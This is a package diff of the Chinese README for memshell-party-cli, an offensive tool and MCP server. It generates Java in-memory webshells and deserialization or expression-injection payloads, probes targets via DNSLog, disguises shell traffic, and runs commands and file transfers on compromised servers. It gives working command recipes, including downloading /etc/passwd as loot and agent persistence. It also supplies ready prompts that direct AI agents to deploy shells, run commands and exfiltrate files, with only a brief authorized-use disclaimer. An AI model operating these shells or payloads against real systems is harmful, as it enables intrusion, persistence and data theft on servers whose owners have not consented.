memshell-party-cli 0.6.0 → 0.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +482 -425
- package/README.md +241 -419
- package/dist/cli.js +1192 -325
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +128 -9
- package/dist/index.js +1293 -227
- package/dist/index.js.map +1 -1
- package/package.json +3 -1
- package/skills/memshell-party/SKILL.md +521 -475
package/README.md
CHANGED
|
@@ -1,419 +1,241 @@
|
|
|
1
|
-
# memshell-party-cli
|
|
2
|
-
|
|
3
|
-
[English](README.en.md) | 中文
|
|
4
|
-
|
|
5
|
-
[MemShellParty](https://party.mem.mk) 的命令行客户端
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
```
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
memparty
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
`
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
memparty
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
#
|
|
169
|
-
memparty
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
memparty
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
```
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
`
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
#
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
`~/.memparty/operations.jsonl` —— 记录目标、结果、耗时,exec 还记录命令和截断后的输出。
|
|
243
|
-
凭证、payload 内容和传输的文件内容不会写入日志。
|
|
244
|
-
|
|
245
|
-
```bash
|
|
246
|
-
memparty log # 最近 50 条,新的在前
|
|
247
|
-
memparty log --category exec # 只看命令执行
|
|
248
|
-
memparty log --target web1 # 某个项目(或主机名子串)的全部操作
|
|
249
|
-
memparty log --category connect --json
|
|
250
|
-
```
|
|
251
|
-
|
|
252
|
-
## 示例
|
|
253
|
-
|
|
254
|
-
端到端配方。**打包器**按投递途径选择,**shell 类型**按目标选择(Tomcat 10+ /
|
|
255
|
-
Spring Boot 3 加 `Jakarta` 前缀;`Agent*` 类型搭配 `AgentJar*` 打包器)。拿不准时先运行
|
|
256
|
-
`memparty config tools <server>` 和 `memparty config packers`。
|
|
257
|
-
|
|
258
|
-
### 1. Tomcat 9(javax)上的哥斯拉内存马
|
|
259
|
-
|
|
260
|
-
```bash
|
|
261
|
-
# Listener 型哥斯拉马,单个 base64 payload 到 stdout
|
|
262
|
-
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
263
|
-
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
264
|
-
|
|
265
|
-
# ……或直接把解码后的注入器 .class 写到磁盘
|
|
266
|
-
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
267
|
-
--godzilla-pass pass --godzilla-key key -o shell.class
|
|
268
|
-
```
|
|
269
|
-
|
|
270
|
-
### 2. 同一个马用于 Tomcat 10+ / Spring Boot 3(Jakarta)
|
|
271
|
-
|
|
272
|
-
```bash
|
|
273
|
-
memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
|
|
274
|
-
--godzilla-pass pass --godzilla-key key --jdk java17
|
|
275
|
-
```
|
|
276
|
-
|
|
277
|
-
### 3. 纯命令执行马(RCE)
|
|
278
|
-
|
|
279
|
-
```bash
|
|
280
|
-
memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
|
|
281
|
-
--command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
|
|
282
|
-
```
|
|
283
|
-
|
|
284
|
-
### 4. 反序列化利用链(如 CommonsBeanutils ≤ 1.9.4)
|
|
285
|
-
|
|
286
|
-
```bash
|
|
287
|
-
memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
|
|
288
|
-
--godzilla-pass pass --godzilla-key key --jdk java8
|
|
289
|
-
# 其他链:JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
|
|
290
|
-
```
|
|
291
|
-
|
|
292
|
-
### 5. 表达式注入投递(SpEL / OGNL / EL / Groovy …)
|
|
293
|
-
|
|
294
|
-
```bash
|
|
295
|
-
# Spring SpEL 注入 -> define + load shell 类(Spring 用 Interceptor,不是 Filter)
|
|
296
|
-
memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
|
|
297
|
-
--command-param-name cmd --jdk java8
|
|
298
|
-
# OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
|
|
299
|
-
# (SpEL/OGNL/JXPath 是*聚合*打包器 —— 会一次返回多个变体)
|
|
300
|
-
```
|
|
301
|
-
|
|
302
|
-
### 6. 落地一个 JSP 文件
|
|
303
|
-
|
|
304
|
-
```bash
|
|
305
|
-
memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
|
|
306
|
-
--godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
|
|
307
|
-
```
|
|
308
|
-
|
|
309
|
-
### 7. Java agent 内存马(扛得住重部署,挂钩更深)
|
|
310
|
-
|
|
311
|
-
```bash
|
|
312
|
-
memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
|
|
313
|
-
--godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
|
|
314
|
-
```
|
|
315
|
-
|
|
316
|
-
### 8. 先做(盲)指纹识别
|
|
317
|
-
|
|
318
|
-
```bash
|
|
319
|
-
# DNSLog:确认可执行代码,并通过 DNS 带出服务器/JDK 名称
|
|
320
|
-
memparty probe -m DNSLog -c Server -p DefaultBase64 --host <你的>.dnslog.cn
|
|
321
|
-
# Sleep:时间盲注 —— 仅当服务器与你猜的一致时才延迟 N 秒
|
|
322
|
-
memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
|
|
323
|
-
```
|
|
324
|
-
|
|
325
|
-
探测马报出的服务器名称就是 `memparty gen` 里 `-s` 要用的值。
|
|
326
|
-
|
|
327
|
-
### 解析类名
|
|
328
|
-
|
|
329
|
-
```bash
|
|
330
|
-
memparty parse-classname --file shell.class
|
|
331
|
-
memparty parse-classname <class字节的base64>
|
|
332
|
-
```
|
|
333
|
-
|
|
334
|
-
### 版本
|
|
335
|
-
|
|
336
|
-
```bash
|
|
337
|
-
memparty version # CLI 版本 + 后端服务器版本
|
|
338
|
-
```
|
|
339
|
-
|
|
340
|
-
## MCP 服务器
|
|
341
|
-
|
|
342
|
-
以 stdio 方式作为 MCP 服务器运行:
|
|
343
|
-
|
|
344
|
-
```bash
|
|
345
|
-
memparty mcp --api http://127.0.0.1:8080
|
|
346
|
-
```
|
|
347
|
-
|
|
348
|
-
Claude Code / Claude Desktop 配置示例:
|
|
349
|
-
|
|
350
|
-
```json
|
|
351
|
-
{
|
|
352
|
-
"mcpServers": {
|
|
353
|
-
"memshell-party": {
|
|
354
|
-
"command": "npx",
|
|
355
|
-
"args": ["-y", "memshell-party-cli", "mcp"],
|
|
356
|
-
"env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
|
|
357
|
-
}
|
|
358
|
-
}
|
|
359
|
-
}
|
|
360
|
-
```
|
|
361
|
-
|
|
362
|
-
暴露的工具:`list_servers`、`list_config`、`list_packers`、`list_command_configs`、
|
|
363
|
-
`generate_memshell`、`generate_probe`、`parse_classname`、`server_version`、`connect_test`、
|
|
364
|
-
`exec_command`、`download_file`、`upload_file`、`target_save`、`target_note`、`target_list`、
|
|
365
|
-
`target_remove`、`log_list`。
|
|
366
|
-
|
|
367
|
-
## AI 技能(Claude Code)
|
|
368
|
-
|
|
369
|
-
本包附带一个 [Claude Code 技能](https://docs.claude.com/en/docs/claude-code/skills),位于
|
|
370
|
-
`skills/memshell-party/SKILL.md`,教 AI 代理如何驱动 MemShellParty ——
|
|
371
|
-
服务器/工具/类型/打包器决策树、探测方法×内容矩阵、按场景选打包器的指导,以及常见坑
|
|
372
|
-
(Jakarta 与 javax 之分、JDK 目标版本、聚合与叶子打包器)。
|
|
373
|
-
|
|
374
|
-
安装到项目中(或放到 `~/.claude/skills/` 全局使用):
|
|
375
|
-
|
|
376
|
-
```bash
|
|
377
|
-
# 在包根目录下,或 npm install memshell-party-cli 之后:
|
|
378
|
-
mkdir -p .claude/skills
|
|
379
|
-
cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
|
|
380
|
-
```
|
|
381
|
-
|
|
382
|
-
之后用自然语言提问即可,比如 *"生成一个 Tomcat 10 的哥斯拉 Listener"* 或
|
|
383
|
-
*"给一个 Spring Boot 2 应用的 CommonsBeanutils 反序列化 payload"* —— 技能会引导代理
|
|
384
|
-
先枚举选项,再按投递途径选合适的打包器。
|
|
385
|
-
|
|
386
|
-
## 编程调用
|
|
387
|
-
|
|
388
|
-
包内还提供带类型的 API 客户端:
|
|
389
|
-
|
|
390
|
-
```ts
|
|
391
|
-
import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
|
|
392
|
-
|
|
393
|
-
const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
|
|
394
|
-
const res = await client.generateMemShell(
|
|
395
|
-
buildMemShellRequest({
|
|
396
|
-
server: "Tomcat",
|
|
397
|
-
shellTool: "Godzilla",
|
|
398
|
-
shellType: "Listener",
|
|
399
|
-
packer: "DefaultBase64",
|
|
400
|
-
godzillaPass: "pass",
|
|
401
|
-
godzillaKey: "key",
|
|
402
|
-
jdk: "java8",
|
|
403
|
-
}),
|
|
404
|
-
);
|
|
405
|
-
console.log(res.memShellResult.shellClassName, res.packResult);
|
|
406
|
-
```
|
|
407
|
-
|
|
408
|
-
## 开发
|
|
409
|
-
|
|
410
|
-
```bash
|
|
411
|
-
npm install
|
|
412
|
-
npm run build # tsup -> dist/
|
|
413
|
-
npm test # vitest
|
|
414
|
-
npm run typecheck # tsc --noEmit
|
|
415
|
-
```
|
|
416
|
-
|
|
417
|
-
## 许可证
|
|
418
|
-
|
|
419
|
-
MIT
|
|
1
|
+
# memshell-party-cli
|
|
2
|
+
|
|
3
|
+
[English](README.en.md) | 中文
|
|
4
|
+
|
|
5
|
+
[MemShellParty](https://party.mem.mk) 的命令行客户端 + MCP 服务器:生成 Java 内存马、探测目标、连马验证、执行命令、传输文件。设计给 AI 代理(Claude Code 等)用自然语言操作,也可以自己当普通命令行敲。
|
|
6
|
+
|
|
7
|
+
> ⚠️ 仅限授权安全测试、红队演练与研究。请勿用于未授权目标,后果自负。
|
|
8
|
+
|
|
9
|
+
## 它能做什么
|
|
10
|
+
|
|
11
|
+
| 能力 | 说明 |
|
|
12
|
+
|------|------|
|
|
13
|
+
| **生成内存马** | 约 17 种中间件/框架(Tomcat、Jetty、JBoss、WebLogic、SpringWebMvc、Undertow、Resin、Struts2…),9 种工具(哥斯拉、冰蝎、蚁剑、Command、suo5、NeoreGeorg、Proxy、自定义 class),Listener/Filter/Servlet/Agent 等多种挂载方式,60+ 种打包器(Base64、JSP、反序列化链、SpEL/OGNL 表达式注入、AgentJar…) |
|
|
14
|
+
| **盲探测 probe** | 不知道目标是什么中间件时,先用 DNSLog / Sleep / 回显探测服务器类型和 JDK 版本 |
|
|
15
|
+
| **字节码工具** | 解码任意 class,改名、包名替换、添加入口方法、混淆、回显 Wrapper 和打包 |
|
|
16
|
+
| **连马验证 connect** | 用真实协议握手验证马是否存活、密码对不对(哥斯拉/冰蝎/suo5/mimic) |
|
|
17
|
+
| **执行命令 exec** | 在已部署的哥斯拉/冰蝎马上执行命令,自动识别 Windows/Linux |
|
|
18
|
+
| **传文件 upload/download** | 大文件自动分块,传完校验完整性(哥斯拉比大小、冰蝎比 MD5) |
|
|
19
|
+
| **目标管理 save/list** | 把马保存成"项目/名字",以后 `memparty exec web1 --cmd whoami` 不用再敲一长串参数 |
|
|
20
|
+
| **操作日志 log** | 每次操作自动记录到本地文件,不记录密码和文件内容 |
|
|
21
|
+
| **流量伪装 mimic** | 手写一份站点 profile,让马的流量长得和目标站点的正常页面一样 |
|
|
22
|
+
| **交互模式** | 直接敲 `memparty` 进入 REPL;`memparty gen` 进入向导,按菜单选 |
|
|
23
|
+
|
|
24
|
+
所有生成的马都带一个认证 header(在 `gen --json` 的输出里),别人扫到 URL 也用不了你的马。
|
|
25
|
+
|
|
26
|
+
## 两种用法
|
|
27
|
+
|
|
28
|
+
1. **让 AI 用(推荐)** — 装上配套 skill / MCP 后,直接用大白话指挥 AI,它负责选参数、敲命令、处理报错。
|
|
29
|
+
2. **自己敲命令** — 完整的 CLI,每个选项都有对应参数,可脚本化;`--json` 输出方便集成。
|
|
30
|
+
|
|
31
|
+
## 快速上手:让 AI 帮你操作
|
|
32
|
+
|
|
33
|
+
### 第 1 步:安装本工具
|
|
34
|
+
|
|
35
|
+
1. 电脑装好 [Node.js](https://nodejs.org/)(选 LTS,18 或更新)
|
|
36
|
+
2. 打开终端,复制粘贴:
|
|
37
|
+
|
|
38
|
+
```bash
|
|
39
|
+
npm install -g memshell-party-cli
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
3. 检查是否成功:
|
|
43
|
+
|
|
44
|
+
```bash
|
|
45
|
+
memparty version
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
能看到版本号就 OK。
|
|
49
|
+
|
|
50
|
+
### 第 2 步:把使用手册教给 AI(Skill)
|
|
51
|
+
|
|
52
|
+
Skill 是给 AI 看的完整说明书。装好后,AI 会按手册一步步操作,不用你懂技术。
|
|
53
|
+
|
|
54
|
+
**用 Claude Code 的,执行:**
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
memparty skill install --claude
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
**用别的 AI 代理的,执行:**
|
|
61
|
+
|
|
62
|
+
```bash
|
|
63
|
+
memparty skill install
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
**两个都想装:**
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
memparty skill install --user --claude
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
装完后**重启一下你的 AI 工具**(关掉再打开),它才会读到新 skill。
|
|
73
|
+
|
|
74
|
+
以后升级了本工具,再跑一遍上面的安装命令,就能刷新说明书。
|
|
75
|
+
|
|
76
|
+
### 第 3 步:给 AI 接上 MCP(可选,但推荐)
|
|
77
|
+
|
|
78
|
+
让 AI 能直接调用本工具。在 AI 的 MCP 配置里加上:
|
|
79
|
+
|
|
80
|
+
```json
|
|
81
|
+
{
|
|
82
|
+
"mcpServers": {
|
|
83
|
+
"memshell-party": {
|
|
84
|
+
"command": "npx",
|
|
85
|
+
"args": ["-y", "memshell-party-cli", "mcp"]
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
}
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
保存后重启 AI。
|
|
92
|
+
|
|
93
|
+
### 第 4 步:直接对 AI 说话
|
|
94
|
+
|
|
95
|
+
**先确认 skill 在不在(推荐每次新开对话先说这句):**
|
|
96
|
+
|
|
97
|
+
```text
|
|
98
|
+
请先读取 memshell-party 这个 skill,然后严格按 skill 里的步骤操作,不要自己瞎猜参数。
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
**生成一个马:**
|
|
102
|
+
|
|
103
|
+
```text
|
|
104
|
+
请按 memshell-party skill,帮我生成一个常用的 Tomcat 哥斯拉内存马。
|
|
105
|
+
把文件、密码、密钥都给我,并用简单话告诉我下一步怎么做。
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
**连上马并执行命令:**
|
|
109
|
+
|
|
110
|
+
```text
|
|
111
|
+
请按 memshell-party skill 操作。
|
|
112
|
+
网址:【http://这里换成你的地址】
|
|
113
|
+
类型:哥斯拉,密码:【pass】,密钥:【key】。
|
|
114
|
+
先测能不能连上,连上后执行 whoami,用简单话告诉我结果。
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
**传文件:**
|
|
118
|
+
|
|
119
|
+
```text
|
|
120
|
+
请按 memshell-party skill。
|
|
121
|
+
在已经连上的马上:
|
|
122
|
+
下载服务器上的【/etc/passwd】到本地;
|
|
123
|
+
上传本地【工具.exe】到服务器【/tmp/工具.exe】。
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
**我完全不懂,你带我:**
|
|
127
|
+
|
|
128
|
+
```text
|
|
129
|
+
我是小白。请先读取 memshell-party skill,然后一步一步带我:
|
|
130
|
+
1. 生成一个常用的 Tomcat 哥斯拉内存马
|
|
131
|
+
2. 用大白话告诉我生成结果里哪些要保存
|
|
132
|
+
3. 我部署好后把网址发给你,你帮我连上并执行命令
|
|
133
|
+
每一步先说明要做什么,等我确认再继续。只在我授权的环境操作。
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
## 快速上手:自己敲命令
|
|
137
|
+
|
|
138
|
+
命令一览:
|
|
139
|
+
|
|
140
|
+
| 命令 | 干什么 |
|
|
141
|
+
|------|--------|
|
|
142
|
+
| `memparty gen` | 生成内存马(不带参数进入交互向导) |
|
|
143
|
+
| `memparty probe` | 生成探测马,盲测目标中间件/JDK |
|
|
144
|
+
| `memparty bytecode` | 解码、转换和打包任意 `.class` |
|
|
145
|
+
| `memparty connect` | 验证马是否存活、凭据对不对 |
|
|
146
|
+
| `memparty exec` | 在马上执行命令 |
|
|
147
|
+
| `memparty upload` / `download` | 通过马上传/下载文件 |
|
|
148
|
+
| `memparty save` / `list` / `note` / `remove` | 保存目标、按名字管理 |
|
|
149
|
+
| `memparty log` | 查操作日志 |
|
|
150
|
+
| `memparty config` | 查后端支持的中间件/工具/打包器 |
|
|
151
|
+
| `memparty profile` / `custom build` / `demo` | mimic 流量伪装:写站点画像、构建自定义马、本地演示 |
|
|
152
|
+
| `memparty skill install` | 给 AI 装使用手册 |
|
|
153
|
+
| `memparty mcp` | 启动 MCP 服务器 |
|
|
154
|
+
| `memparty parse-classname` | 解析 .class 的类名 |
|
|
155
|
+
| `memparty version` | 查看 CLI 和后端版本 |
|
|
156
|
+
|
|
157
|
+
典型流程:
|
|
158
|
+
|
|
159
|
+
```bash
|
|
160
|
+
# 1. 生成一个 Tomcat 哥斯拉马(Listener 型,base64 输出,自动解码写成 .class)
|
|
161
|
+
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
|
|
162
|
+
--godzilla-pass pass --godzilla-key key -o shell.class
|
|
163
|
+
|
|
164
|
+
# 2. 部署后验证是否存活(header 值在 gen --json 的输出里)
|
|
165
|
+
memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key \
|
|
166
|
+
--header-name User-Agent --header-value <token>
|
|
167
|
+
|
|
168
|
+
# 3. 存成名字,以后不用敲参数
|
|
169
|
+
memparty save web1 -u http://target/shell.jsp -t godzilla --pass pass --key key \
|
|
170
|
+
--header-name User-Agent --header-value <token>
|
|
171
|
+
|
|
172
|
+
# 4. 执行命令、传文件
|
|
173
|
+
memparty exec web1 --cmd "whoami"
|
|
174
|
+
memparty download web1 /etc/passwd -o loot/passwd
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
生成时的几个细节:
|
|
178
|
+
|
|
179
|
+
- `-o` 和 `--json` 可以同时用:文件照常写盘,JSON 里多一个 `outputFile` 字段(路径、大小、是否解码)。
|
|
180
|
+
- v3 中 `Base64` 等父项只是 packer 分类,要选具体变体(如 `DefaultBase64`);旧 v2 后端仍支持聚合 packer,但不能配 `-o`。
|
|
181
|
+
- v3 支持 `--obfuscate`、`--obfuscation-options key=value,...`、`--obfuscation-scope`(仅内存马)和 `--jdk java25`。
|
|
182
|
+
- 探测支持 `-m ResponseHeader`;可用 `--resp-header-name` 指定回显头,未知中间件时 `--server Unknown`。
|
|
183
|
+
- 走 MCP 时,`generate_memshell` / `generate_probe` 有个 `outputFile` 参数,效果同上。
|
|
184
|
+
- Agent 加载参数使用 `--agent-args persist=true` 或 `--agent-args restore=true`;它是 attach 参数,不会发送给生成 API。JSON 和终端会给出 `java -jar agent.jar <pid> persist=true`、`jattach <pid> load instrument false agent.jar=persist=true` 示例。
|
|
185
|
+
- 哥斯拉 WebSocket / RawWebSocket 使用 `ws://` 或 `wss://` 地址;Tomcat Upgrade 使用 HTTP 地址并加 `--upgrade-protocol <shellClassName>`。`GodzillaSession` 生成后仍选 `-t godzilla` 连接,客户端会保留会话 Cookie。
|
|
186
|
+
|
|
187
|
+
### 字节码转换
|
|
188
|
+
|
|
189
|
+
```bash
|
|
190
|
+
memparty bytecode decode -f Payload.class
|
|
191
|
+
memparty bytecode transform -f Payload.class \
|
|
192
|
+
--relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class
|
|
193
|
+
memparty bytecode transform -f Payload.class --server Tomcat \
|
|
194
|
+
--probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
也支持 Base64 参数或标准输入。`-o` 在没有 packer 时写转换后的 class;有 packer 时写打包结果。MCP 对应 `bytecode_decode` / `bytecode_transform`。
|
|
198
|
+
|
|
199
|
+
拿不准有哪些合法取值,直接问后端(这些名字就是参数里要填的值):
|
|
200
|
+
|
|
201
|
+
```bash
|
|
202
|
+
memparty config servers # 支持哪些中间件
|
|
203
|
+
memparty config tools Tomcat # 这个中间件支持哪些工具和挂载类型
|
|
204
|
+
memparty config packers # 打包器列表(按投放方式选)
|
|
205
|
+
memparty config tool-configs # v3 各工具的参数名和枚举值
|
|
206
|
+
memparty config obfuscation # v3 混淆参数参考
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
每个命令都能加 `--help` 看详细参数和例子;完整参数参考见 [英文 README](README.en.md)。
|
|
210
|
+
|
|
211
|
+
## 后端:真实测试建议自建
|
|
212
|
+
|
|
213
|
+
默认用公共站 `https://party.mem.mk`,试用没问题;但真实测试别把 payload 交给公共服务——建议用 Docker 自建(见 MemShellParty 的 README),然后:
|
|
214
|
+
|
|
215
|
+
```bash
|
|
216
|
+
memparty --api http://127.0.0.1:8080 gen
|
|
217
|
+
# 或设环境变量,一劳永逸
|
|
218
|
+
export MEMPARTY_API_URL=http://127.0.0.1:8080
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
优先级:`--api` 参数 > `MEMPARTY_API_URL` 环境变量 > `~/.mempartyrc` 配置文件 > 默认公共站。
|
|
222
|
+
|
|
223
|
+
## 更多文档
|
|
224
|
+
|
|
225
|
+
- [mimic 自定义内存马实战指南](docs/mimic-memshell-guide.md) — 流量伪装端到端实战(人读版)
|
|
226
|
+
- [自定义内存马设计方案](docs/custom-memshell-design.md) — mimic 的设计文档
|
|
227
|
+
- [README.en.md](README.en.md) — 完整英文参考(全部命令、参数、MCP 工具、API 调用)
|
|
228
|
+
- [skills/memshell-party/SKILL.md](skills/memshell-party/SKILL.md) — 给 AI 的操作手册,人想深入细节也可以读
|
|
229
|
+
|
|
230
|
+
## 开发
|
|
231
|
+
|
|
232
|
+
```bash
|
|
233
|
+
npm install
|
|
234
|
+
npm run build # tsup -> dist/
|
|
235
|
+
npm test # vitest
|
|
236
|
+
npm run typecheck # tsc --noEmit
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
## 许可证
|
|
240
|
+
|
|
241
|
+
MIT
|